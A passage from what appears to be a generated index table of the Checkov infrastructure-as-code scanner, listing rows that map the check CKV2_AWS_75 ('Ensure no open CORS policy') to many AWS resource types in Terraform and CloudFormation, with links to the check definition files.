[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4401 | CKV2_AWS_75 | resource | aws_opensearchserverless_collection | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4402 | CKV2_AWS_75 | resource | aws_opensearchserverless_collection | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4403 | CKV2_AWS_75 | resource | aws_opensearchserverless_lifecycle_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4404 | CKV2_AWS_75 | resource | aws_opensearchserverless_lifecycle_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4405 | CKV2_AWS_75 | resource | aws_opensearchserverless_security_config | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4406 | CKV2_AWS_75 | resource | aws_opensearchserverless_security_config | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4407 | CKV2_AWS_75 | resource | aws_opensearchserverless_security_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4408 | CKV2_AWS_75 | resource | aws_opensearchserverless_security_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4409 | CKV2_AWS_75 | resource | aws_opensearchserverless_vpc_endpoint | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4410 | CKV2_AWS_75 | resource | aws_opensearchserverless_vpc_endpoint | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4411 | CKV2_AWS_75 | resource | aws_opsworks_application | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4412 | CKV2_AWS_75 | resource | aws_opsworks_application | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4413 | CKV2_AWS_75 | resource | aws_opsworks_custom_layer | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4414 | CKV2_AWS_75 | resource | aws_opsworks_custom_layer | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4415 | CKV2_AWS_75 | resource | aws_opsworks_ecs_cluster_layer | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4416 | CKV2_AWS_75 | resource | aws_opsworks_ecs_cluster_layer | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4417 | CKV2_AWS_75 | resource | aws_opsworks_ganglia_layer | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4418 | CKV2_AWS_75 | resource | aws_opsworks_ganglia_layer | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4419 | CKV2_AWS_75 | resource | aws_opsworks_haproxy_layer | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4420 | CKV2_AWS_75 | resource | aws_opsworks_haproxy_layer | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4421 | CKV2_AWS_75 | resource | aws_opsworks_instance | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4422 | CKV2_AWS_75 | resource | aws_opsworks_instance | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4423 | CKV2_AWS_75 | resource | aws_opsworks_java_app_layer | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4424 | CKV2_AWS_75 | resource | aws_opsworks_java_app_layer | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4425 | CKV2_AWS_75 | resource | aws_opsworks_memcached_layer | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4426 | CKV2_AWS_75 | resource | aws_opsworks_memcached_layer | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4427 | CKV2_AWS_75 | resource | aws_opsworks_mysql_layer | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4428 | CKV2_AWS_75 | resource | aws_opsworks_mysql_layer | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4429 | CKV2_AWS_75 | resource | aws_opsworks_nodejs_app_layer | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4430 | CKV2_AWS_75 | resource | aws_opsworks_nodejs_app_layer | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4431 | CKV2_AWS_75 | resource | aws_opsworks_permission | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4432 | CKV2_AWS_75 | resource | aws_opsworks_permission | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4433 | CKV2_AWS_75 | resource | aws_opsworks_php_app_layer | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4434 | CKV2_AWS_75 | resource | aws_opsworks_php_app_layer | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4435 | CKV2_AWS_75 | resource | aws_opsworks_rails_app_layer | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4436 | CKV2_AWS_75 | resource | aws_opsworks_rails_app_layer | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4437 | CKV2_AWS_75 | resource | aws_opsworks_rds_db_instance | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4438 | CKV2_AWS_75 | resource | aws_opsworks_rds_db_instance | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4439 | CKV2_AWS_75 | resource | aws_opsworks_stack | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4440 | CKV2_AWS_75 | resource | aws_opsworks_stack | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4441 | CKV2_AWS_75 | resource | aws_opsworks_static_web_layer | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4442 | CKV2_AWS_75 | resource | aws_opsworks_static_web_layer | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4443 | CKV2_AWS_75 | resource | aws_opsworks_user_profile | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4444 | CKV2_AWS_75 | resource | aws_opsworks_user_profile | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4445 | CKV2_AWS_75 | resource | aws_organizations_account | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4446 | CKV2_AWS_75 | resource | aws_organizations_account | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4447 | CKV2_AWS_75 | resource | aws_organizations_delegated_administrator | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4448 | CKV2_AWS_75 | resource | aws_organizations_delegated_administrator | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4449 | CKV2_AWS_75 | resource | aws_organizations_organization | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4450 | CKV2_AWS_75 | resource | aws_organizations_organization | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4451 | CKV2_AWS_75 | resource | aws_organizations_organizational_unit | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4452 | CKV2_AWS_75 | resource | aws_organizations_organizational_unit | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4453 | CKV2_AWS_75 | resource | aws_organizations_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4454 | CKV2_AWS_75 | resource | aws_organizations_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4455 | CKV2_AWS_75 | resource | aws_organizations_policy_attachment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4456 | CKV2_AWS_75 | resource | aws_organizations_policy_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4457 | CKV2_AWS_75 | resource | aws_organizations_resource_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4458 | CKV2_AWS_75 | resource | aws_organizations_resource_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4459 | CKV2_AWS_75 | resource | aws_osis_pipeline | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4460 | CKV2_AWS_75 | resource | aws_osis_pipeline | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4461 | CKV2_AWS_75 | resource | aws_paymentcryptography_key | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4462 | CKV2_AWS_75 | resource | aws_paymentcryptography_key | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4463 | CKV2_AWS_75 | resource | aws_paymentcryptography_key_alias | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4464 | CKV2_AWS_75 | resource | aws_paymentcryptography_key_alias | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4465 | CKV2_AWS_75 | resource | aws_pinpoint_adm_channel | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4466 | CKV2_AWS_75 | resource | aws_pinpoint_adm_channel | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4467 | CKV2_AWS_75 | resource | aws_pinpoint_apns_channel | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4468 | CKV2_AWS_75 | resource | aws_pinpoint_apns_channel | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4469 | CKV2_AWS_75 | resource | aws_pinpoint_apns_sandbox_channel | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4470 | CKV2_AWS_75 | resource | aws_pinpoint_apns_sandbox_channel | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4471 | CKV2_AWS_75 | resource | aws_pinpoint_apns_voip_channel | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4472 | CKV2_AWS_75 | resource | aws_pinpoint_apns_voip_channel | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4473 | CKV2_AWS_75 | resource | aws_pinpoint_apns_voip_sandbox_channel | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4474 | CKV2_AWS_75 | resource | aws_pinpoint_apns_voip_sandbox_channel | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4475 | CKV2_AWS_75 | resource | aws_pinpoint_app | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4476 | CKV2_AWS_75 | resource | aws_pinpoint_app | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4477 | CKV2_AWS_75 | resource | aws_pinpoint_baidu_channel | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4478 | CKV2_AWS_75 | resource | aws_pinpoint_baidu_channel | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4479 | CKV2_AWS_75 | resource | aws_pinpoint_email_channel | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4480 | CKV2_AWS_75 | resource | aws_pinpoint_email_channel | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4481 | CKV2_AWS_75 | resource | aws_pinpoint_email_template | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4482 | CKV2_AWS_75 | resource | aws_pinpoint_email_template | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4483 | CKV2_AWS_75 | resource | aws_pinpoint_event_stream | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4484 | CKV2_AWS_75 | resource | aws_pinpoint_event_stream | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4485 | CKV2_AWS_75 | resource | aws_pinpoint_gcm_channel | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4486 | CKV2_AWS_75 | resource | aws_pinpoint_gcm_channel | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4487 | CKV2_AWS_75 | resource | aws_pinpoint_sms_channel | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4488 | CKV2_AWS_75 | resource | aws_pinpoint_sms_channel | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4489 | CKV2_AWS_75 | resource | aws_pinpointsmsvoicev2_configuration_set | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4490 | CKV2_AWS_75 | resource | aws_pinpointsmsvoicev2_configuration_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4491 | CKV2_AWS_75 | resource | aws_pinpointsmsvoicev2_opt_out_list | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4492 | CKV2_AWS_75 | resource | aws_pinpointsmsvoicev2_opt_out_list | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4493 | CKV2_AWS_75 | resource | aws_pinpointsmsvoicev2_phone_number | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4494 | CKV2_AWS_75 | resource | aws_pinpointsmsvoicev2_phone_number | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4495 | CKV2_AWS_75 | resource | aws_pipes_pipe | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4496 | CKV2_AWS_75 | resource | aws_pipes_pipe | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4497 | CKV2_AWS_75 | resource | aws_placement_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4498 | CKV2_AWS_75 | resource | aws_placement_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4499 | CKV2_AWS_75 | resource | aws_prometheus_alert_manager_definition | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4500 | CKV2_AWS_75 | resource | aws_prometheus_alert_manager_definition | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4501 | CKV2_AWS_75 | resource | aws_prometheus_rule_group_namespace | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4502 | CKV2_AWS_75 | resource | aws_prometheus_rule_group_namespace | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4503 | CKV2_AWS_75 | resource | aws_prometheus_scraper | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4504 | CKV2_AWS_75 | resource | aws_prometheus_scraper | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4505 | CKV2_AWS_75 | resource | aws_prometheus_workspace | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4506 | CKV2_AWS_75 | resource | aws_prometheus_workspace | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4507 | CKV2_AWS_75 | resource | aws_proxy_protocol_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4508 | CKV2_AWS_75 | resource | aws_proxy_protocol_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4509 | CKV2_AWS_75 | resource | aws_qldb_ledger | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4510 | CKV2_AWS_75 | resource | aws_qldb_ledger | Ensure no open CORS policy | Cloudformation | 